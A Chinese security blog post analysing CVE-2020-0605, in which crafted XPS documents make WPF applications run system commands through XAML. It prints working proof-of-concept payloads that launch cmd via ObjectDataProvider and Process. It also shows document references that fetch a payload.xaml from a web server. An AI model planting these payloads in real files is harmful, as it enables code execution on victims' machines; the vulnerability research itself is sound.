深度剖析Windows系统下的XPS文档漏洞攻击面

0X01 漏洞背景

XPS 是一种使用 XML、开放打包约定标准来创建的电子文档,XPS 极大的提升了Windows操作系统电子文档的创建、共享、打印、查看和存档效率,Windows系统内置多种应用提供创建XPS文档的打印程序,允许用户创建、查看以及批注打印的电子文档,例如 Microsoft Office 允许将文档保存为XPS格式的文件,当基于WPF开发的文档程序浏览或打印恶意攻击者伪造XPS文档时会触发XAML执行系统命令来获取管理员权限,CVE-2020-0605 就是这样的一种潜在的攻击案例,接下来跟随笔者一步步揭开它的神秘面纱。 

0X02 漏洞复现

XPS文件实际上是一组包含字体、图像以及文本内容的ZIP压缩文件,默认的扩展名为.xps,笔者环境是WIN10 + .NET FrameWork3.5,4.0以上不能成功触发。首先创建一个XPS文件,重命名为zip扩展名,解压后编辑Document/1/Pages/1.fpage文件,在FixedPage标记处添加 xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" ,然后在<FixedPage.Resources>标记内加上ObjectDataProvider对象的XAML代码,完整的Payload运行后如下图

<FixedPage xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/xps/2005/06/resourcedictionary-key" xml:lang="en-us" Width="672" Height="864">
    <FixedPage.Resources>
        <ObjectDataProvider MethodName="Start" x:Key="obj">
            <ObjectDataProvider.ObjectInstance>
                <sd:Process>
                    <sd:Process.StartInfo>
                        <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
                    </sd:Process.StartInfo>
                </sd:Process>
            </ObjectDataProvider.ObjectInstance>
        </ObjectDataProvider>
        <ResourceDictionary>
            <ImageBrush x:Key="b0" ViewportUnits="Absolute" TileMode="None" ViewboxUnits="Absolute" Viewbox="0,0,460,620" Viewport="0,0,222.58064516129,300" ImageSource="/Resources/31b5ebf2-c72c-4d3e-baf9-f1ef2532216a.jpg" />
        </ResourceDictionary>
    </FixedPage.Resources>
    <Canvas RenderTransform="1,0,0,1,48,48">
        <Glyphs OriginX="0" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/6a457906-dd11-45c7-af2e-70767fb01ace.ODTTF" UnicodeString="公众号:" Fill="#FF000000" />
        <Glyphs OriginX="56" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/fb0916f4-3aec-4fdc-a907-5b21a9781f69.ODTTF" UnicodeString="dotNet" Indices=",56" Fill="#FF000000" />
        <Glyphs OriginX="97.03" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/6a457906-dd11-45c7-af2e-70767fb01ace.ODTTF" UnicodeString="安全矩" Fill="#FF000000" />
        <Glyphs OriginX="139.03" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/8fe6cb39-0d3c-4f69-a415-5da54bc9e70d.ODTTF" UnicodeString="阵" Fill="#FF000000" />
        <Canvas RenderTransform="1,0,0,1,0,41.4133333333333">
            <Glyphs OriginX="0" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/6a457906-dd11-45c7-af2e-70767fb01ace.ODTTF" UnicodeString="网址:" Fill="#FF000000" />
            <Glyphs OriginX="42" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/fb0916f4-3aec-4fdc-a907-5b21a9781f69.ODTTF" UnicodeString="https://www.cnblogs.com/Ivan1ee/" Indices=";;;;;;;;,78;,78;,70;;;;;;;;;;;;;;;,48" Fill="#FF000000" /></Canvas>
        <Path Fill="{StaticResource b0}" RenderTransform="1,0,0,1,176.709677419355,82.8266666666667" Data="M0,0L222.58,0 222.58,300 0,300Z" />
    </Canvas>
</FixedPage>

0X03 XPS介绍

XPS文档的浏览和打印通常使用在WPF开发领域, 全称为 XML Paper Specification,XPS 格式的一个重要特点是所有文档内容和静态资源都存储在一个文件内,文件存储结构和内容以及各个部分之间的关​​系如下图

3.1 Fixed document sequense.fdseq 文件

Fixeddocumentsequense.fdseq 文件是树的根,如下该文件包含了XPS文档列表信息,明显是一组XAML,我们知道XAML里的所有的标签对应的都是.NET里的对象,所以这里的子标签DocumentReference就是一个内置对象,它的Source属性指向FixedDocument,既可指定本地文件也可以加载远程文件 *.xaml

// 加载本地文件
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/xps/2005/06">
    <DocumentReference Source="Documents/1/FixedDocument.fdoc" />
</FixedDocumentSequence>

// 加载远程文件
<FixedDocumentSequence xmlns="http://schemas.microsoft.com/xps/2005/06">
    <DocumentReference Source="http://ip/payload.xaml" />
</FixedDocumentSequence>

3.2 [Content_Type].xml 文件

[Content_Type].xml 包含XPS文档里文件扩展名和相应内容类型之间的映射关系,如下扩展名.fdoc 对应fixeddocoument,在WPF里表示打印固定文档

<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
      <Default Extension="fdseq" ContentType="application/vnd.ms-package.xps-fixeddocumentsequence+xml" />
      <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml" />
      <Default Extension="fdoc" ContentType="application/vnd.ms-package.xps-fixeddocument+xml" />
      <Default Extension="fpage" ContentType="application/vnd.ms-package.xps-fixedpage+xml" />
      <Default Extension="ODTTF" ContentType="application/vnd.ms-package.obfuscated-opentype" />
      <Default Extension="png" ContentType="image/png" />
</Types>

3.3 FixedDocument.fdoc 文件

Documentsm目录结构下的 FixedDocument.fdoc文件 包含PageContent对象页面内容的引用列表信息,PageContent标记的Source属性指向FixedPage,既可指定本地文件也可以加载远程文件 *.xaml

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
    <PageContent Source="Pages/1.fpage" />
    <PageContent Source="Pages/2.fpage" />
</FixedDocument>

3.4 *.fpage 文件

FixedPage包含页面呈现的所有可视元素内容,如<Canvas>这样的基础存储容器控件元素。另外页面使用的资源位于单独的元素 FixedPage.Resources 中,包含一组资源字典ResourceDictionary,XPS文档里所有的图片的索引信息将保存于此,关于资源字典可看《.NET高级代码审计(第12课) Gadget之详解ObjectDataProvider

<FixedPage xmlns="http://schemas.microsoft.com/xps/2005/06" xmlns:x="http://schemas.microsoft.com/xps/2005/06/resourcedictionary-key" xml:lang="en-us" Width="672" Height="864">
    <FixedPage.Resources>
        <ResourceDictionary>
            <ImageBrush x:Key="b0" ViewportUnits="Absolute" TileMode="None" ViewboxUnits="Absolute" Viewbox="0,0,460,620" Viewport="0,0,222.58064516129,300" ImageSource="/Resources/31b5ebf2-c72c-4d3e-baf9-f1ef2532216a.jpg" />
        </ResourceDictionary>
    </FixedPage.Resources>
    <Canvas RenderTransform="1,0,0,1,48,48">
        <Glyphs OriginX="0" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/6a457906-dd11-45c7-af2e-70767fb01ace.ODTTF" UnicodeString="公众号:" Fill="#FF000000" />
        <Glyphs OriginX="56" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/fb0916f4-3aec-4fdc-a907-5b21a9781f69.ODTTF" UnicodeString="dotNet" Indices=",56" Fill="#FF000000" />
        <Glyphs OriginX="97.03" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/6a457906-dd11-45c7-af2e-70767fb01ace.ODTTF" UnicodeString="安全矩" Fill="#FF000000" />
        <Glyphs OriginX="139.03" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/8fe6cb39-0d3c-4f69-a415-5da54bc9e70d.ODTTF" UnicodeString="阵" Fill="#FF000000" />
        <Canvas RenderTransform="1,0,0,1,0,41.4133333333333">
            <Glyphs OriginX="0" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/6a457906-dd11-45c7-af2e-70767fb01ace.ODTTF" UnicodeString="网址:" Fill="#FF000000" />
            <Glyphs OriginX="42" OriginY="13.3033333333333" FontRenderingEmSize="14" FontUri="/Resources/fb0916f4-3aec-4fdc-a907-5b21a9781f69.ODTTF" UnicodeString="https://www.cnblogs.com/Ivan1ee/" Indices=";;;;;;;;,78;,78;,70;;;;;;;;;;;;;;;,48" Fill="#FF000000" />
        </Canvas>
        <Path Fill="{StaticResource b0}" RenderTransform="1,0,0,1,176.709677419355,82.8266666666667" Data="M0,0L222.58,0 222.58,300 0,300Z" />
    </Canvas>
</FixedPage>

3.5 *.rels 文件

rels目录结构下的 *.fpage.rels文件保存了资源之间的关联关系,文件有引用的页面资源,例如字体和图片

<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
    <Relationship Type="http://schemas.microsoft.com/xps/2005/06/required-resource" Target="../../../Resources/6a457906-dd11-45c7-af2e-70767fb01ace.ODTTF" Id="R780893b90a3c46d5" />
    <Relationship Type="http://schemas.microsoft.com/xps/2005/06/required-resource" Target="../../../Resources/fb0916f4-3aec-4fdc-a907-5b21a9781f69.ODTTF" Id="Ref7978b675f742f0" />
    <Relationship Type="http://schemas.microsoft.com/xps/2005/06/required-resource" Target="../../../Resources/8fe6cb39-0d3c-4f69-a415-5da54bc9e70d.ODTTF" Id="R21ff693614c74aa0" />
    <Relationship Type="http://schemas.microsoft.com/xps/2005/06/required-resource" Target="../../../Resources/31b5ebf2-c72c-4d3e-baf9-f1ef2532216a.jpg" Id="R82b82d7ed6b44a8b" />
</Relationships>

3.6 Resources目录

Resources文件夹通常字体和图像都包含在其中,XPS中所有字体都具有 TrueType 字体的 *.TTF 扩展名或混淆 TrueType 字体的 *.ODTTF 扩展名,字体混淆是为了禁止提取字体并在未经许可的情况下在其他地方使用,图像可以是 PNG、JPEG格式。

0X04 XPS用法

在WPF中可将文档分为固定文档(FixedDocument)和流文档(FlowDocument),固定文档表示已经排版好准备打印的文档,所有的文本、图像内容位置都是固定的,从概念上相当于PDF文件。流文档能够根据各种细节动态布局内容,相比固定文档具有更高级的布局特性。WPF提供DocumentViewer容器加载FixedDocument,如下XAML 在固定页码标签放置两个TextBlock文本块填入字符串,Image标签引入图片所在的物理路径,渲染预览如下图

<DocumentViewer HorizontalAlignment="Left" Margin="108,21,0,0" VerticalAlignment="Top">
        <FixedDocument>
            <PageContent>
                <FixedPage Width="672" Height="864">
                    <StackPanel Margin="48">
                        <TextBlock  FontSize="18" Width="576" TextWrapping="Wrap">
                            公众号:dotNet安全矩阵
                        </TextBlock>
                        <TextBlock  FontSize="14" Width="576" TextWrapping="Wrap" Margin="0,25,0,0">
                            网址:https://www.cnblogs.com/Ivan1ee/
                        </TextBlock>
                        <Image Margin="0,25,0,0" Source="d:\\zsxq.jpg" Width="300" Height="300"/>
                    </StackPanel>
                </FixedPage>
            </PageContent>
        </FixedDocument>
    </DocumentViewer>

除了界面UI创建XPS加载显示外,也支持以编程的方式创建一个XPS文件,将上述提到的XAML文件中FixedDocument标记所有内容保存到 testFixed.xaml,程序通过XamlReader.Load方法解析XAML生成testFixedPage.xps

第2小节提到XPS文件本身就是一个zip压缩包,将生成的testFixedPage.xps文件重命名为testFixedPage.zip,可见目录和文件结构如下

0X05 漏洞攻击面

5.1 FixedDocumentSequence远程加载恶意载荷

本地和远程加载均可以触发漏洞,笔者以远程加载为例打开根目录下的 FixedDocumentSequence.fdseq 文件,DocumentReference标记的Source属性指向远程xaml文件

<FixedDocumentSequence xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation">
    <DocumentReference Source="http://127.0.0.1:8080/payload.xaml" />
</FixedDocumentSequence>

笔者在本地用python启动了一个简易的web服务,在web目录下放置payload.xaml,请求地址为 http://127.0.0.1:8080/payload.xaml ,Payload.xaml内容如下

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
 xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
 xmlns:System="clr-namespace:System;assembly=mscorlib"
 xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
 <ObjectDataProvider x:Key="LaunchCalc" ObjectType="{x:Type Diag:Process}" MethodName="Start">
     <ObjectDataProvider.MethodParameters>
         <System:String>cmd</System:String>
         <System:String>/c winver</System:String>
     </ObjectDataProvider.MethodParameters>
 </ObjectDataProvider>
</ResourceDictionary>

WPF里程序初始化打印对话框显示文档内容时可触发漏洞,将XPS文件加载到内存并在DocumentViewer容器中显示,如下代码提供GetFixedDocumentSequence()方法返回文档根元素的引用,当漏洞被触发时web服务会接收到来自外部的HTTP请求

XPSDemo.App.Current.Dispatcher.Invoke((Action)(() =>
            {
                XpsDocument myDoc = new XpsDocument(@"createxps.xps", FileAccess.Read);
                docView1.Document = myDoc.GetFixedDocumentSequence();
            }
));

从调用栈能清晰看到 XpsDocument.GetFixedDocumentSequence()方法调用后进入一个内部实现的代理类XamlReaderProxy的Load方法,在Load方法里最终调用XamlReader.Load,该方法和XamlReader.Parse一样可以解析运行XAML代码,本质上XamlReader.Parse方法底层也是调用了XamlReader.Load实现文本解析。

6.2 FixedPage本地加载恶意载荷

打开 Documents/1/ FixedDocument.fdoc 文件,编辑 PageContent 标记的Source属性,同样可以加载远程xaml文件

<FixedDocument xmlns="http://schemas.microsoft.com/xps/2005/06">
    <PageContent Source="http://127.0.0.1:8080/payload.xaml" />
</FixedDocument>

同样也可以本地加载资源字典里的Payload,编辑 Documents/1/Pages/1.fpage 在<FixedPage.Resources>标记内注入 ObjectDataProvider对象

<FixedPage.Resources>
    <ObjectDataProvider MethodName="Start" x:Key="obj">
            <ObjectDataProvider.ObjectInstance>
                <sd:Process>
                    <sd:Process.StartInfo>
                        <sd:ProcessStartInfo Arguments="/c calc" FileName="cmd" />
                    </sd:Process.StartInfo>
                </sd:Process>
            </ObjectDataProvider.ObjectInstance>
    </ObjectDataProvider>
    <ResourceDictionary>
        <ImageBrush x:Key="b0" ViewportUnits="Absolute" TileMode="None" ViewboxUnits="Absolute" Viewbox="0,0,756.481539065631,756.161538414588" Viewport="0,0,300,299.873096446701" ImageSource="/Resources/c43915ba-325a-4837-b320-23ab872e0814.png" />
    </ResourceDictionary>
</FixedPage.Resources>

WPF中的PrintQueue 类表示一台打印机以及与其关联的输出作业队列, 允许对服务器的打印作业进行高级管理, AddJob 方法用于将新的打印作业插入队列。添加任务打印文档验证内容和进度通知时也可触发此漏洞请求远程的xaml文件

XPSDemo.App.Current.Dispatcher.Invoke((Action)(() =>
            {
                PrintQueue defaultPrintQueue = LocalPrintServer.GetDefaultPrintQueue();
                PrintSystemJobInfo xpsPrintJob = defaultPrintQueue.AddJob("test", @"createxps.xps", false);
            }
));

0X06 结语

XPS 文件在Windows操作系统中可使用  XPS Viewer打开,但是由于XPS Viewer 应用程序不使用 WPF 来显示 XPS 文件,因此不受该漏洞影响。但需要说明的是 Microsoft 开发的Exchange、SharePoint 或其他应用预览XPS文档时也许会触发此类攻击利用的实践场景。文章涉及的PDF和Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。本文首发于 公众号 dotNet安全矩阵 

posted @ 2022-06-15 16:18  Ivan1ee  阅读(365)  评论(0编辑  收藏  举报